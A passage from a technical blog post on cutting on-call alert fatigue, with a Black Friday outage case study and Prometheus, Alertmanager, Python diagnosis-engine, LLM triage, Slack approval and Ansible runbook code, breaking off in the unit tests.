This is not an engineering problem. It is an automation gap: the system is collecting all the data needed to auto-diagnose the issue but forcing a human to do the computation manually.

Failure 3: Runbooks That Are Documents, Not Programs

"Runbook" should mean "a program that runs." In most organizations it means "a Confluence page last updated 11 months ago."

The on-call engineer reads a document, interprets its instructions for the current situation, executes a series of manual commands, and verifies the results themselves. Every step is a potential failure point. Every interpretation is a potential mistake. Every manual command is executed by someone who has been awake for 23 of the last 24 hours.

When runbooks are documents, not programs, the system is relying on human consistency at 3AM to maintain system reliability. This is poor systems thinking.

Real World Case Study: The Payment Gateway Meltdown

Company: A mid-sized e-commerce platform processing $2M/day in transactions.

Stack: Kubernetes on AWS EKS, Postgres RDS, Redis, Kafka, Python microservices, Prometheus, Grafana, PagerDuty.

The incident: Black Friday. Traffic 4x normal. 11:47PM.

What the on-call engineer saw:

11:47 PM — payment-service error rate: 12%
11:47 PM — checkout-service latency p99: 8.2s
11:48 PM — order-service DB connections: 95/100
11:48 PM — inventory-service error rate: 7%
11:49 PM — payment-service CPU: 91%
11:49 PM — checkout-service CPU: 88%
11:49 PM — order-service error rate: 15%
11:49 PM — redis connection timeout alerts: 4 separate alerts
11:50 PM — kafka consumer lag: 120,000 messages
11:50 PM — notification-service error rate: 6%
         ... 23 more alerts over the next 8 minutes ...

31 pages. One engineer. 12 minutes.

What was actually happening (one sentence):

A single connection pool misconfiguration in order-service caused it to exhaust its Postgres connections under load, which cascaded upstream through every service that depended on order data.

One root cause. 31 pages. 47 minutes to diagnose. $380,000 in lost GMV.

What a well-designed system would have done:

11:47 PM — [GROUPED ALERT, 1 page]:
  Root cause candidate: order-service DB connection pool exhaustion
  Evidence: 31 correlated metric anomalies across 6 services
  Affected services: payment, checkout, inventory, order, notification, redis
  Automated diagnosis: Connection pool limit reached (95/100)
  Recommended action: [RUNBOOK-AUTO-007] Scale connection pool, restart order-service
  Confidence: 94%
  Auto-remediation: Ready to execute on approval

One page. One diagnosis. One action. Triggered, reviewed, approved, and resolved in 9 minutes.

The Architecture That Eliminates Burnout

Layer 1: Smart Alert Grouping

📁 GitHub file: alertmanager-config.yaml

Prerequisites

helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm repo update

helm install prometheus prometheus-community/kube-prometheus-stack \
  --namespace monitoring \
  --create-namespace \
  --set alertmanager.enabled=true \
  --set grafana.enabled=true

Step 1: Alert Rules with Semantic Labels

📁 GitHub file: prometheus-alert-rules.yaml

The key insight is that every alert rule must carry labels that describe what it means, not just what it measures. These labels power the grouping and inhibition logic downstream.

# prometheus-alert-rules.yaml
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: application-alerts
  namespace: monitoring
  labels:
    app: kube-prometheus-stack
    release: prometheus
spec:
  groups:
    - name: service.database
      interval: 30s
      rules:
        - alert: DatabaseConnectionPoolExhausted
          expr: |
            (
              pg_stat_activity_count{state="active"}
              / pg_settings_max_connections
            ) > 0.85
          for: 1m
          labels:
            severity: critical
            layer: infrastructure
            impact_type: resource
            root_cause_candidate: "true"
            service: "{{ $labels.service }}"
            runbook: RB-DB-001
          annotations:
            summary: "DB connection pool at {{ $value | humanizePercentage }} capacity"

        - alert: ServiceErrorRateHigh
          expr: |
            (
              rate(http_requests_total{status=~"5.."}[5m])
              / rate(http_requests_total[5m])
            ) > 0.05
          for: 2m
          labels:
            severity: warning
            layer: application
            impact_type: availability
            root_cause_candidate: "false"
            service: "{{ $labels.service }}"
            runbook: RB-APP-001
          annotations:
            summary: "{{ \(labels.service }} error rate {{ \)value | humanizePercentage }}"

        - alert: ServiceLatencyHigh
          expr: |
            histogram_quantile(0.99,
              rate(http_request_duration_seconds_bucket[5m])
            ) > 2
          for: 2m
          labels:
            severity: warning
            layer: application
            impact_type: performance
            root_cause_candidate: "false"
            service: "{{ $labels.service }}"
            runbook: RB-APP-002
          annotations:
            summary: "{{ \(labels.service }} p99 latency {{ \)value | humanizeDuration }}"

Step 2: Alertmanager Config with Intelligent Grouping and Inhibition

📁 GitHub file: alertmanager-config.yaml

# alertmanager-config.yaml
global:
  resolve_timeout: 5m
  slack_api_url: 'YOUR_SLACK_WEBHOOK_URL'

# If a root cause alert fires, suppress all downstream symptom alerts.
# This is the single biggest reducer of alert volume.
inhibit_rules:
  - source_matchers:
      - 'alertname="DatabaseConnectionPoolExhausted"'
      - 'root_cause_candidate="true"'
    target_matchers:
      - 'root_cause_candidate="false"'
      - 'layer="application"'
    equal: ['namespace']

  - source_matchers:
      - 'layer="infrastructure"'
      - 'severity="critical"'
    target_matchers:
      - 'layer="application"'
      - 'severity="warning"'
    equal: ['namespace']

  - source_matchers:
      - 'severity="critical"'
    target_matchers:
      - 'severity="warning"'
    equal: ['alertname', 'service', 'namespace']

route:
  group_by: ['namespace', 'layer', 'impact_type']
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 4h
  receiver: 'diagnosis-engine'

  routes:
    - matchers:
        - 'severity="critical"'
        - 'layer="infrastructure"'
      group_wait: 10s
      group_interval: 2m
      receiver: 'diagnosis-engine'
      continue: false

    - matchers:
        - 'layer="application"'
      group_by: ['namespace', 'service', 'impact_type']
      group_wait: 45s
      receiver: 'diagnosis-engine'
      continue: false

    - matchers:
        - 'severity="warning"'
      repeat_interval: 1h
      receiver: 'slack-warnings'
      continue: false

receivers:
  - name: 'diagnosis-engine'
    webhook_configs:
      - url: 'http://diagnosis-engine.monitoring.svc.cluster.local:8080/alerts'
        send_resolved: true

  - name: 'slack-warnings'
    slack_configs:
      - channel: '#oncall-warnings'
        title: 'Warning: {{ .GroupLabels.alertname }}'
        text: |
          *Alerts:* {{ len .Alerts }}
          *Namespace:* {{ .GroupLabels.namespace }}

Apply this config:

kubectl apply -f alertmanager-config.yaml

kubectl -n monitoring exec -it alertmanager-prometheus-kube-prometheus-alertmanager-0 \
  -- amtool config show

Layer 2: Automated Diagnosis Engine

Project Structure

oncall-burnout-fix/
├── Dockerfile
├── requirements.txt
├── main.py
├── alertmanager-config.yaml
├── docker-compose.yml
├── src/
│   ├── models.py
│   ├── graph.py
│   ├── correlator.py
│   ├── diagnosis.py
│   ├── aiops.py
│   ├── history.py
│   └── runbook_handler.py
├── playbooks/
│   └── db-connection-pool-fix.yml
├── tests/
│   ├── test_diagnosis.py
│   └── test_integration.py
└── k8s/
    └── deployment.yaml

requirements.txt

📁 GitHub file: requirements.txt

fastapi==0.109.0
uvicorn==0.27.0
pydantic==2.5.3
httpx==0.26.0
networkx==3.2.1
prometheus-api-client==0.5.4
redis==5.0.1
numpy==1.26.3
scikit-learn==1.4.0
structlog==24.1.0
tenacity==8.2.3
pytest==7.4.4
pytest-asyncio==0.23.3

Data contract layer

📁 GitHub file: src/models.py

from pydantic import BaseModel, Field
from typing import Optional, Literal
from datetime import datetime
from enum import Enum


class AlertSeverity(str, Enum):
    CRITICAL = "critical"
    WARNING  = "warning"
    INFO     = "info"


class AlertLabel(BaseModel):
    alertname: str
    severity: AlertSeverity
    layer: str
    impact_type: str
    root_cause_candidate: bool = False
    service: Optional[str] = None
    namespace: str = "default"
    runbook: Optional[str] = None


class Alert(BaseModel):
    status: Literal["firing", "resolved"]
    labels: AlertLabel
    annotations: dict
    starts_at: datetime = Field(alias="startsAt")
    ends_at: Optional[datetime] = Field(None, alias="endsAt")
    generator_url: str = Field("", alias="generatorURL")
    fingerprint: str = ""

    class Config:
        populate_by_name = True


class AlertBundle(BaseModel):
    version: str = "4"
    group_key: str = Field(alias="groupKey")
    status: Literal["firing", "resolved"]
    receiver: str
    group_labels: dict = Field(alias="groupLabels")
    common_labels: dict = Field(alias="commonLabels")
    common_annotations: dict = Field(alias="commonAnnotations")
    alerts: list[Alert]

    class Config:
        populate_by_name = True


class DiagnosisResult(BaseModel):
    incident_id: str
    root_cause_alert: Optional[str]
    root_cause_service: Optional[str]
    root_cause_description: str
    affected_services: list[str]
    confidence_score: float
    alert_count: int
    deduplicated_alert_count: int
    recommended_runbook: Optional[str]
    supporting_metrics: dict
    historical_match: Optional[str]
    created_at: datetime

Service Dependency Graph

📁 GitHub file: src/graph.py

import networkx as nx
from typing import Optional
import json
import structlog

log = structlog.get_logger()


class ServiceDependencyGraph:
    """
    Directed graph of service dependencies.
    Edge A -> B means A calls B. If B fails, A is affected.
    """

    def __init__(self):
        self.graph = nx.DiGraph()
        self._build_default_graph()

    def _build_default_graph(self):
        services = [
            "payment-service", "checkout-service", "order-service",
            "inventory-service", "notification-service",
            "postgres-rds", "redis-cache", "kafka",
        ]
        dependencies = [
            ("payment-service",      "order-service"),
            ("payment-service",      "redis-cache"),
            ("checkout-service",     "payment-service"),
            ("checkout-service",     "inventory-service"),
            ("checkout-service",     "order-service"),
            ("order-service",        "postgres-rds"),
            ("order-service",        "kafka"),
            ("inventory-service",    "postgres-rds"),
            ("notification-service", "kafka"),
        ]
        for s in services:
            self.graph.add_node(s)
        for caller, dep in dependencies:
            self.graph.add_edge(caller, dep)

    def get_upstream_services(self, service: str) -> list[str]:
        if service not in self.graph:
            return []
        return list(self.graph.predecessors(service))

    def get_downstream_services(self, service: str) -> list[str]:
        if service not in self.graph:
            return []
        return list(self.graph.successors(service))

    def find_likely_root_cause(self, affected_services: list[str]) -> Optional[str]:
        if not affected_services:
            return None
        affected_set = set(affected_services)
        scores = {}
        for service in affected_services:
            if service not in self.graph:
                continue
            upstream = set(self.graph.predecessors(service))
            scores[service] = len(upstream.intersection(affected_set))
        if not scores:
            return affected_services[0]
        return max(scores, key=scores.get)

    def get_impact_radius(self, root_service: str) -> list[str]:
        if root_service not in self.graph:
            return []
        impacted, queue = set(), [root_service]
        while queue:
            current = queue.pop(0)
            for pred in self.graph.predecessors(current):
                if pred not in impacted:
                    impacted.add(pred)
                    queue.append(pred)
        return list(impacted)

    def load_from_file(self, path: str):
        with open(path) as f:
            data = json.load(f)
        self.graph.clear()
        for node in data.get("nodes", []):
            self.graph.add_node(node)
        for edge in data.get("edges", []):
            self.graph.add_edge(edge["from"], edge["to"])

Metric Correlation Analysis

📁 GitHub file: src/correlator.py

import numpy as np
from datetime import datetime, timedelta
import httpx
import structlog
from tenacity import retry, stop_after_attempt, wait_exponential

log = structlog.get_logger()
PROMETHEUS_URL = "http://prometheus-operated.monitoring.svc.cluster.local:9090"


class MetricCorrelator:

    def __init__(self, prometheus_url: str = PROMETHEUS_URL):
        self.prometheus_url = prometheus_url
        self.client = httpx.AsyncClient(timeout=10.0)

    @retry(stop=stop_after_attempt(3), wait=wait_exponential(multiplier=1, min=2, max=8))
    async def fetch_metric(
        self, query: str, start: datetime, end: datetime, step: str = "30s"
    ) -> list[float]:
        params = {
            "query": query,
            "start": start.timestamp(),
            "end":   end.timestamp(),
            "step":  step,
        }
        try:
            r = await self.client.get(
                f"{self.prometheus_url}/api/v1/query_range", params=params
            )
            r.raise_for_status()
            data = r.json()
            if data["status"] != "success":
                return []
            results = data.get("data", {}).get("result", [])
            if not results:
                return []
            return [float(v[1]) for v in results[0]["values"]]
        except Exception as e:
            log.error("prometheus_fetch_error", query=query, error=str(e))
            return []

    async def compute_correlation(
        self, metric_a: list[float], metric_b: list[float]
    ) -> float:
        if len(metric_a) < 3 or len(metric_b) < 3:
            return 0.0
        min_len = min(len(metric_a), len(metric_b))
        a, b = np.array(metric_a[:min_len]), np.array(metric_b[:min_len])
        if np.std(a) == 0 or np.std(b) == 0:
            return 0.0
        corr = np.corrcoef(a, b)[0, 1]
        return float(corr) if not np.isnan(corr) else 0.0

    async def compute_anomaly_score(self, values: list[float]) -> float:
        if len(values) < 5:
            return 0.0
        historical = np.array(values[:-1])
        latest = values[-1]
        mean, std = np.mean(historical), np.std(historical)
        if std == 0:
            return 0.0
        return min(abs((latest - mean) / std) / 5.0, 1.0)

    async def validate_db_connection_hypothesis(
        self, service: str, incident_start: datetime
    ) -> dict:
        end   = incident_start + timedelta(minutes=10)
        start = incident_start - timedelta(minutes=5)
        db_q  = f'pg_stat_activity_count{{service="{service}",state="active"}}'
        err_q = f'rate(http_requests_total{{service="{service}",status=~"5.."}}[2m])'
        db_vals  = await self.fetch_metric(db_q,  start, end)
        err_vals = await self.fetch_metric(err_q, start, end)
        correlation = await self.compute_correlation(db_vals, err_vals)
        db_anomaly  = await self.compute_anomaly_score(db_vals)
        return {
            "hypothesis": "db_connection_exhaustion",
            "correlation_coefficient": correlation,
            "db_anomaly_score": db_anomaly,
            "supports_hypothesis": correlation > 0.7 and db_anomaly > 0.6,
            "db_connection_values": db_vals[-3:]  if db_vals  else [],
            "error_rate_values":    err_vals[-3:] if err_vals else [],
        }

    async def close(self):
        await self.client.aclose()

Root Cause Analysis Engine

📁 GitHub file: src/diagnosis.py

import uuid, math
import structlog
from datetime import datetime
from typing import Optional

from .models import AlertBundle, DiagnosisResult, AlertSeverity
from .graph import ServiceDependencyGraph
from .correlator import MetricCorrelator
from .history import IncidentHistory

log = structlog.get_logger()


class DiagnosisEngine:

    def __init__(self):
        self.graph      = ServiceDependencyGraph()
        self.correlator = MetricCorrelator()
        self.history    = IncidentHistory()

    async def diagnose(self, bundle: AlertBundle) -> DiagnosisResult:
        incident_id    = str(uuid.uuid4())[:8]
        firing_alerts  = [a for a in bundle.alerts if a.status == "firing"]
        incident_start = min(a.starts_at for a in firing_alerts)

        # 1. Extract affected services
        affected_services = list(set(
            a.labels.service for a in firing_alerts if a.labels.service
        ))

        # 2. Find explicit root cause candidates from alert labels
        root_cause_candidates = [
            a for a in firing_alerts
            if a.labels.root_cause_candidate and a.labels.service
        ]

        # 3. Fall back to graph traversal if no explicit candidates
        if root_cause_candidates:
            root_cause_service = root_cause_candidates[0].labels.service
            root_cause_alert   = root_cause_candidates[0].labels.alertname
        else:
            root_cause_service = self.graph.find_likely_root_cause(affected_services)
            root_cause_alert   = next(
                (a.labels.alertname for a in firing_alerts
                 if a.labels.service == root_cause_service),
                None
            )

        # 4. Validate with metric correlation
        correlation_data = {}
        if root_cause_service:
            correlation_data = await self.correlator.validate_db_connection_hypothesis(
                root_cause_service, incident_start
            )

        # 5. Historical pattern matching
        historical_match = await self.history.find_similar_incident(
            affected_services=affected_services,
            root_cause_alert=root_cause_alert,
        )

        # 6. Score confidence
        confidence = self._compute_confidence(
            has_explicit_candidate=bool(root_cause_candidates),
            correlation_data=correlation_data,
            has_historical_match=historical_match is not None,
            alert_count=len(firing_alerts),
            affected_service_count=len(affected_services),
        )

        result = DiagnosisResult(
            incident_id=incident_id,
            root_cause_alert=root_cause_alert,
            root_cause_service=root_cause_service,
            root_cause_description=self._build_description(
                root_cause_service, root_cause_alert,
                affected_services, firing_alerts, correlation_data
            ),
            affected_services=affected_services,
            confidence_score=confidence,
            alert_count=len(bundle.alerts),
            deduplicated_alert_count=len(firing_alerts),
            recommended_runbook=self._select_runbook(
                root_cause_alert, root_cause_candidates, historical_match
            ),
            supporting_metrics=correlation_data,
            historical_match=historical_match,
            created_at=datetime.utcnow(),
        )
        await self.history.store_incident(result, bundle)
        return result

    def _compute_confidence(
        self, has_explicit_candidate, correlation_data,
        has_historical_match, alert_count, affected_service_count
    ) -> float:
        score = 0.0
        if has_explicit_candidate:
            score += 0.40
        if correlation_data.get("supports_hypothesis"):
            score += 0.30
        elif correlation_data.get("correlation_coefficient", 0) > 0.5:
            score += 0.15
        if has_historical_match:
            score += 0.20
        score += min(math.log(alert_count + 1) / 20, 0.10)
        return round(min(score, 1.0), 3)

    def _select_runbook(self, root_cause_alert, root_cause_candidates, historical_match):
        if root_cause_candidates and root_cause_candidates[0].labels.runbook:
            return root_cause_candidates[0].labels.runbook
        if historical_match:
            return historical_match
        return {
            "DatabaseConnectionPoolExhausted": "RB-DB-001",
            "ServiceErrorRateHigh":            "RB-APP-001",
            "KafkaConsumerLagHigh":            "RB-KAFKA-001",
            "ServiceLatencyHigh":              "RB-APP-002",
        }.get(root_cause_alert)

    def _build_description(
        self, root_cause_service, root_cause_alert,
        affected_services, firing_alerts, correlation_data
    ) -> str:
        lines = []
        if root_cause_service and root_cause_alert:
            lines.append(f"Root cause: {root_cause_alert} on {root_cause_service}")
        if affected_services:
            lines.append(f"Cascade affecting: {', '.join(affected_services)}")
        if correlation_data.get("supports_hypothesis"):
            r = correlation_data.get("correlation_coefficient", 0)
            lines.append(f"Metric correlation confirms hypothesis (r={r:.2f})")
        critical = sum(
            1 for a in firing_alerts if a.labels.severity == AlertSeverity.CRITICAL
        )
        if critical:
            lines.append(f"{critical} critical alerts deduplicated into this incident")
        return ". ".join(lines) + "."

Pattern Store

📁 GitHub file: src/history.py

import redis.asyncio as redis
import structlog
from typing import Optional
from datetime import datetime
from .models import DiagnosisResult, AlertBundle

log = structlog.get_logger()
REDIS_URL = "redis://redis.monitoring.svc.cluster.local:6379"


class IncidentHistory:

    def __init__(self):
        self._client: Optional[redis.Redis] = None

    async def _get_client(self) -> redis.Redis:
        if not self._client:
            self._client = await redis.from_url(REDIS_URL, decode_responses=True)
        return self._client

    def _fingerprint(
        self, affected_services: list[str], root_cause_alert: Optional[str]
    ) -> str:
        return f"{root_cause_alert or 'unknown'}::{','.join(sorted(affected_services))}"

    async def find_similar_incident(
        self, affected_services: list[str], root_cause_alert: Optional[str]
    ) -> Optional[str]:
        try:
            client = await self._get_client()
            fp     = self._fingerprint(affected_services, root_cause_alert)
            return await client.hget(f"incident:pattern:{fp}", "recommended_runbook")
        except Exception as e:
            log.warning("history_lookup_failed", error=str(e))
            return None

    async def store_incident(self, result: DiagnosisResult, bundle: AlertBundle):
        try:
            client = await self._get_client()
            fp     = self._fingerprint(result.affected_services, result.root_cause_alert)
            key    = f"incident:pattern:{fp}"
            prev   = int(await client.hget(key, "occurrence_count") or "0")
            await client.hset(key, mapping={
                "root_cause_alert":    result.root_cause_alert   or "",
                "root_cause_service":  result.root_cause_service or "",
                "recommended_runbook": result.recommended_runbook or "",
                "confidence":          str(result.confidence_score),
                "last_seen":           datetime.utcnow().isoformat(),
                "occurrence_count":    str(prev + 1),
            })
            await client.expire(key, 60 * 60 * 24 * 90)
        except Exception as e:
            log.warning("history_store_failed", error=str(e))

FastAPI Application

📁 GitHub file: main.py

from fastapi import FastAPI, HTTPException, Header
from contextlib import asynccontextmanager
import structlog

from src.models import AlertBundle, DiagnosisResult
from src.diagnosis import DiagnosisEngine
from src.aiops import AIOpsTriageEngine

log = structlog.get_logger()


@asynccontextmanager
async def lifespan(app: FastAPI):
    log.info("diagnosis_engine_starting")
    yield
    log.info("diagnosis_engine_stopping")


app = FastAPI(
    title="On-Call Diagnosis Engine",
    version="1.0.0",
    lifespan=lifespan,
)

diagnosis_engine = DiagnosisEngine()
aiops_engine     = AIOpsTriageEngine()


@app.post("/alerts", response_model=DiagnosisResult)
async def receive_alerts(bundle: AlertBundle, authorization: str = Header(None)):
    if bundle.status == "resolved":
        log.info("incident_resolved", group_key=bundle.group_key)
        return {"message": "resolved"}
    try:
        diagnosis = await diagnosis_engine.diagnose(bundle)
        triage    = await aiops_engine.triage(diagnosis, bundle)
        await aiops_engine.notify_oncall(triage, diagnosis)
        return diagnosis
    except Exception as e:
        log.error("diagnosis_failed", error=str(e), exc_info=True)
        raise HTTPException(status_code=500, detail=str(e))


@app.get("/health")
async def health():
    return {"status": "ok"}

Layer 3: AIOps Triage with LLMs

📁 GitHub file: src/aiops.py

import os, json
import httpx
import structlog
from .models import DiagnosisResult, AlertBundle

log = structlog.get_logger()
SLACK_WEBHOOK_URL = os.environ.get("SLACK_WEBHOOK_URL")
OPENAI_API_KEY    = os.environ.get("OPENAI_API_KEY")


class AIOpsTriageEngine:

    def __init__(self):
        self.client = httpx.AsyncClient(timeout=30.0)

    async def triage(self, diagnosis: DiagnosisResult, bundle: AlertBundle) -> dict:
        prompt = self._build_triage_prompt(diagnosis, bundle)
        try:
            r = await self.client.post(
                "https://api.openai.com/v1/chat/completions",
                headers={
                    "Authorization": f"Bearer {OPENAI_API_KEY}",
                    "Content-Type": "application/json",
                },
                json={
                    "model": "gpt-4-turbo-preview",
                    "temperature": 0.1,
                    "max_tokens": 800,
                    "response_format": {"type": "json_object"},
                    "messages": [
                        {
                            "role": "system",
                            "content": (
                                "You are an expert SRE assistant. "
                                "Given an incident diagnosis, produce a clear, concise "
                                "JSON triage package. Be specific, not generic. "
                                "Use technical language for a senior engineer at 3AM. "
                                "No fluff, no padding."
                            ),
                        },
                        {"role": "user", "content": prompt},
                    ],
                },
            )
            r.raise_for_status()
            return json.loads(r.json()["choices"][0]["message"]["content"])
        except Exception as e:
            log.error("aiops_triage_failed", error=str(e))
            return self._fallback_triage(diagnosis)

    def _build_triage_prompt(self, diagnosis: DiagnosisResult, bundle: AlertBundle) -> str:
        alert_names = [a.labels.alertname for a in bundle.alerts if a.status == "firing"]
        return f"""
Incident diagnosis:
Root cause alert: {diagnosis.root_cause_alert}
Root cause service: {diagnosis.root_cause_service}
Description: {diagnosis.root_cause_description}
Affected: {', '.join(diagnosis.affected_services)}
Alert count before dedup: {diagnosis.alert_count}
Alert count after dedup: {diagnosis.deduplicated_alert_count}
Confidence: {diagnosis.confidence_score:.0%}
Runbook: {diagnosis.recommended_runbook}
Historical match: {diagnosis.historical_match or 'None'}
Alerts: {', '.join(alert_names[:10])}

Return JSON with keys:
one_line_summary, what_is_happening, immediate_action,
steps (array), do_not_do, estimated_resolution_time, escalate_if
"""

    def _fallback_triage(self, diagnosis: DiagnosisResult) -> dict:
        return {
            "one_line_summary": diagnosis.root_cause_description,
            "what_is_happening": f"Cascade from {diagnosis.root_cause_service}.",
            "immediate_action": f"Check runbook {diagnosis.recommended_runbook}",
            "steps": ["Check root cause service logs", "Verify metric stabilization"],
            "do_not_do": "Do not restart all services simultaneously",
            "estimated_resolution_time": "15-30",
            "escalate_if": "Issue persists after 30 minutes",
        }

    async def notify_oncall(self, triage: dict, diagnosis: DiagnosisResult):
        confidence_emoji = (
            "🟢" if diagnosis.confidence_score > 0.8
            else "🟡" if diagnosis.confidence_score > 0.6
            else "🔴"
        )
        payload = {
            "blocks": [
                {
                    "type": "header",
                    "text": {
                        "type": "plain_text",
                        "text": f"INCIDENT {diagnosis.incident_id.upper()} — {triage['one_line_summary']}",
                    },
                },
                {
                    "type": "section",
                    "fields": [
                        {"type": "mrkdwn",
                         "text": f"*Root Cause:*\n`{diagnosis.root_cause_alert}` on `{diagnosis.root_cause_service}`"},
                        {"type": "mrkdwn",
                         "text": f"*Confidence:*\n{confidence_emoji} {diagnosis.confidence_score:.0%}"},
                        {"type": "mrkdwn",
                         "text": f"*Affected:*\n{', '.join(f'`{s}`' for s in diagnosis.affected_services)}"},
                        {"type": "mrkdwn",
                         "text": f"*Dedup:*\n{diagnosis.deduplicated_alert_count} alerts to 1 page"},
                    ],
                },
                {"type": "divider"},
                {
                    "type": "section",
                    "text": {
                        "type": "mrkdwn",
                        "text": (
                            f"*What is happening:*\n{triage['what_is_happening']}\n\n"
                            f"*Immediate action:*\n{triage['immediate_action']}\n\n"
                            f"*Steps:*\n"
                            + "\n".join(f"{i+1}. {s}" for i, s in enumerate(triage["steps"]))
                            + f"\n\n*Do NOT:* {triage['do_not_do']}"
                        ),
                    },
                },
                {"type": "divider"},
                {
                    "type": "actions",
                    "elements": [
                        {
                            "type": "button",
                            "text": {"type": "plain_text", "text": "Approve Auto-Fix"},
                            "style": "primary",
                            "value": json.dumps({
                                "action": "auto_fix",
                                "incident_id": diagnosis.incident_id,
                                "runbook": diagnosis.recommended_runbook,
                            }),
                        },
                        {
                            "type": "button",
                            "text": {"type": "plain_text", "text": "Run Manually"},
                            "value": json.dumps({
                                "action": "manual",
                                "incident_id": diagnosis.incident_id,
                                "runbook": diagnosis.recommended_runbook,
                            }),
                        },
                        {
                            "type": "button",
                            "text": {"type": "plain_text", "text": "Escalate"},
                            "style": "danger",
                            "value": json.dumps({
                                "action": "escalate",
                                "incident_id": diagnosis.incident_id,
                            }),
                        },
                    ],
                },
            ]
        }
        try:
            r = await self.client.post(SLACK_WEBHOOK_URL, json=payload)
            r.raise_for_status()
        except Exception as e:
            log.error("slack_notification_failed", error=str(e))

    async def close(self):
        await self.client.aclose()

Layer 4: Runbook Automation with Ansible

📁 GitHub file: src/runbook_handler.py

from fastapi import APIRouter, Request
import json, asyncio
import structlog

log = structlog.get_logger()
router = APIRouter()

RUNBOOK_PLAYBOOKS = {
    "RB-DB-001":    "playbooks/db-connection-pool-fix.yml",
    "RB-APP-001":   "playbooks/app-restart-graceful.yml",
    "RB-KAFKA-001": "playbooks/kafka-consumer-reset.yml",
    "RB-APP-002":   "playbooks/app-scale-horizontal.yml",
}


@router.post("/slack/actions")
async def handle_slack_action(request: Request):
    form_data   = await request.form()
    payload     = json.loads(form_data["payload"])
    action      = payload["actions"][0]
    action_data = json.loads(action["value"])

    action_type = action_data["action"]
    incident_id = action_data["incident_id"]
    runbook     = action_data.get("runbook")

    if action_type == "auto_fix" and runbook in RUNBOOK_PLAYBOOKS:
        asyncio.create_task(execute_runbook(
            runbook_id=runbook,
            incident_id=incident_id,
            triggered_by=payload["user"]["name"],
        ))
        return {"text": f"Auto-fix triggered. Running {runbook} for incident {incident_id}."}
    elif action_type == "escalate":
        return {"text": f"Escalating incident {incident_id}."}
    elif action_type == "manual":
        playbook = RUNBOOK_PLAYBOOKS.get(runbook, "unknown")
        return {"text": f"Manual mode:\n```ansible-playbook {playbook} -e incident_id={incident_id}```"}

    return {"text": "Action acknowledged."}


async def execute_runbook(runbook_id: str, incident_id: str, triggered_by: str):
    playbook = RUNBOOK_PLAYBOOKS.get(runbook_id)
    if not playbook:
        log.error("unknown_runbook", runbook_id=runbook_id)
        return
    cmd = [
        "ansible-playbook", playbook,
        "-e", f"incident_id={incident_id}",
        "-e", f"triggered_by={triggered_by}",
        "-e", f"runbook_id={runbook_id}",
        "--diff",
    ]
    proc = await asyncio.create_subprocess_exec(
        *cmd,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.STDOUT,
    )
    stdout, _ = await proc.communicate()
    output = stdout.decode()
    if proc.returncode == 0:
        log.info("runbook_succeeded", incident_id=incident_id, tail=output[-500:])
    else:
        log.error("runbook_failed",   incident_id=incident_id, tail=output[-500:])

DB connection pool fixes

📁 GitHub file: playbooks/db-connection-pool-fix.yml

---
- name: "RB-DB-001: Database Connection Pool Exhaustion Fix"
  hosts: localhost
  gather_facts: false
  vars:
    namespace: "production"
    service: "order-service"
    max_connections_multiplier: 1.5

  tasks:
    - name: Get current deployment config
      kubernetes.core.k8s_info:
        api_version: apps/v1
        kind: Deployment
        name: "{{ service }}"
        namespace: "{{ namespace }}"
      register: deployment_info

    - name: Fail if deployment not found
      ansible.builtin.fail:
        msg: "Deployment {{ service }} not found in {{ namespace }}"
      when: deployment_info.resources | length == 0

    - name: Extract current DB pool size from env
      ansible.builtin.set_fact:
        current_pool_size: >-
          {{
            deployment_info.resources[0].spec.template.spec.containers[0].env
            | selectattr('name', 'eq', 'DB_POOL_SIZE')
            | map(attribute='value')
            | first | default('10') | int
          }}

    - name: Compute new pool size (capped at 50)
      ansible.builtin.set_fact:
        new_pool_size: >-
          {{ [(current_pool_size | int * max_connections_multiplier) | int, 50] | min }}

    - name: Patch deployment with new pool size
      kubernetes.core.k8s:
        state: present
        definition:
          apiVersion: apps/v1
          kind: Deployment
          metadata:
            name: "{{ service }}"
            namespace: "{{ namespace }}"
            annotations:
              remediation/incident-id:  "{{ incident_id }}"
              remediation/triggered-by: "{{ triggered_by }}"
              remediation/runbook:      "{{ runbook_id }}"
              remediation/timestamp:    "{{ ansible_date_time.iso8601 }}"
          spec:
            template:
              spec:
                containers:
                  - name: "{{ service }}"
                    env:
                      - name: DB_POOL_SIZE
                        value: "{{ new_pool_size | string }}"

    - name: Wait for rollout to complete
      kubernetes.core.k8s_rollout_status:
        name: "{{ service }}"
        namespace: "{{ namespace }}"
        timeout: 120

    - name: Verify connection pool metric improved
      ansible.builtin.uri:
        url: >-
          http://prometheus-operated.monitoring.svc.cluster.local:9090/api/v1/query
          ?query=pg_stat_activity_count{service="{{ service }}",state="active"}
        method: GET
        return_content: true
      register: metric_check
      retries: 6
      delay: 10
      until: >-
        (metric_check.json.data.result[0].value[1] | float)
        < (new_pool_size | int * 0.7)

    - name: Report success
      ansible.builtin.debug:
        msg: >
          RB-DB-001 complete.
          Pool scaled {{ current_pool_size }} to {{ new_pool_size }}.
          Incident {{ incident_id }} resolved.

End-to-End Testing

Unit Tests

📁 GitHub file: tests/test_diagnosis.py

import pytest
from datetime import datetime
from unittest.mock import AsyncMock
from src.models import AlertBundle
from src.graph import ServiceDependencyGraph
from src.diagnosis import DiagnosisEngine


def make_alert(alertname, service, severity="warning",
               root_cause_candidate=False, layer="application"):
    return {
        "status": "firing",
        "labels": {
            "alertname": alertname, "severity": severity, "layer": layer,
            "impact_type": "availability",
            "root_cause_candidate": str(root_cause_candidate).lower(),
            "service": service, "namespace": "production",
            "runbook": f"RB-{alertname[:3].upper()}-001",
        },
        "annotations": {"summary": f"Test alert for {service}"},
        "startsAt": datetime.utcnow().isoformat() + "Z",
        "endsAt": "0001-01-01T00:00:00Z",
        "generatorURL": "http://prometheus/graph",
        "fingerprint": f"fp-{alertname}-{service}",
    }


def make_bundle(alerts):
    return {
        "version": "4", "groupKey": "{}:{}", "status": "firing",
        "receiver": "diagnosis-engine",
        "groupLabels": {"namespace": "production"},
        "commonLabels": {"namespace": "production"},
        "commonAnnotations": {}, "alerts": alerts,
    }


class TestServiceDependencyGraph:
    def setup_method(self):
        self.graph = ServiceDependencyGraph()

    def test_upstream_services(self):
        upstream = self.graph.get_upstream_services("order-service")
        assert "payment-service" in upstream
        assert "checkout-service" in upstream

    def test_downstream_services(self):
        downstream = self.graph.get_downstream_services("order-service")
        assert "postgres-rds" in downstream
        assert "kafka" in downstream

